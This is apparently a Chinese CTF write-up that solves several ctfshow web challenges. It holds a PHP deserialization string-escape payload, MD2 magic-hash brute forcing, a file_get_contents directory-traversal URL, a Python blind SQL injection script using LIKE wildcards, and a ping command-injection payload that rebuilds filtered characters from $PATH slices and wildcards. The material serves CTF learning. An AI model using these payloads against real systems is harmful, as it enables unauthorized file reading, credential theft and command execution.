寒假打算认真学习一下,就先从半个月的刷题开始。
题目给的有附件,一看就是php反序列化字符串逃逸(应该是签到题)。
源码:
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
先本地试一下是否逃逸成功:
发现成功,脚本如下:
class a{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$a = 'FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
$b=filter(serialize(new a($a,'2')));
echo $a;
//var_dump(unserialize($b));
payload:
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
题目打开后直接就是源码,就是一个代码绕过题,懂了考的知识点就行。
第一个考点是浮点数的精度溢出:
一步一步尝试就好:
$a = '1e-200';
if(is_numeric($a) and strlen($a)<7)
{
echo 1;
}
if($a!=0){
echo 2;
}
if($a**2==0){
echo 3;
}
?>
最后就是:
?a=1e-200
然后是第二个考点:
提示的是想一想md5碰撞原理,并且在hinthint.txt中也有提示:
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
所以将 b 和 b和 b和c的值爆破出来就好。
for($i=0;$i<999;$i++){
$b = '0e'.$i.'024452';
if($b == hash("md2",$b)){
echo $b;
echo "\n";
break;
}
}
for($i=0;$i<9999;$i++){
$c = '0e'.$i.'48399';
if($c == hash("md2",hash("md2", $c))){
echo $c;
break;
}
}
?>
第二个payload为:
b=0e652024452&c=0e603448399
最后一个考点是file_get_contents:
file_get_contents() 函数在遇到不认识的伪协议头时候会将伪协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件 |
---|
随便弄一个协议头,含有ctfshow.com。
发现host的值就是://后边到第一个/之间的值:
url=abc://ctfshow.com/../../../../../fl0g.txt
最终payload:
GET: a=1e-200&b=0e652024452&c=0e603448399
POST: url=abc://ctfshow.com/../../../../../fl0g.txt
首先发现了:
所以知道用到了like,然后发现%被过滤,然后用_来匹配。
到了32长度的时候发现返回不一致,猜测语句成功和不成功回显内容不一致,尝试盲注。
脚本:
import requests
url = 'http://dca16f41-b198-44b4-9ee8-273ae5fd1884.challenge.ctf.show/login.php'
str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ"
flag = ""
for i in range(33):
for j in str:
password = flag+j+"_"*(31-i)
data ={
"username" : "yu22x",
"password" : password
}
re = requests.post(url,data)
if "wrong" not in re.text:
flag = flag + j
print(flag)
break
print(flag)
等到密码,登录。
然后发现是一个ping命令,本来以为就是一个简单的命令执行绕过,但很快发现过滤的东西有点多,提示说可以用环境变量 +linux字符串截取 + 通配符,之前见到过,所以去构造一下。
payload:
127.0.1;${PATH:14:1}${PATH:5:1} ?${PATH:5:1}??.???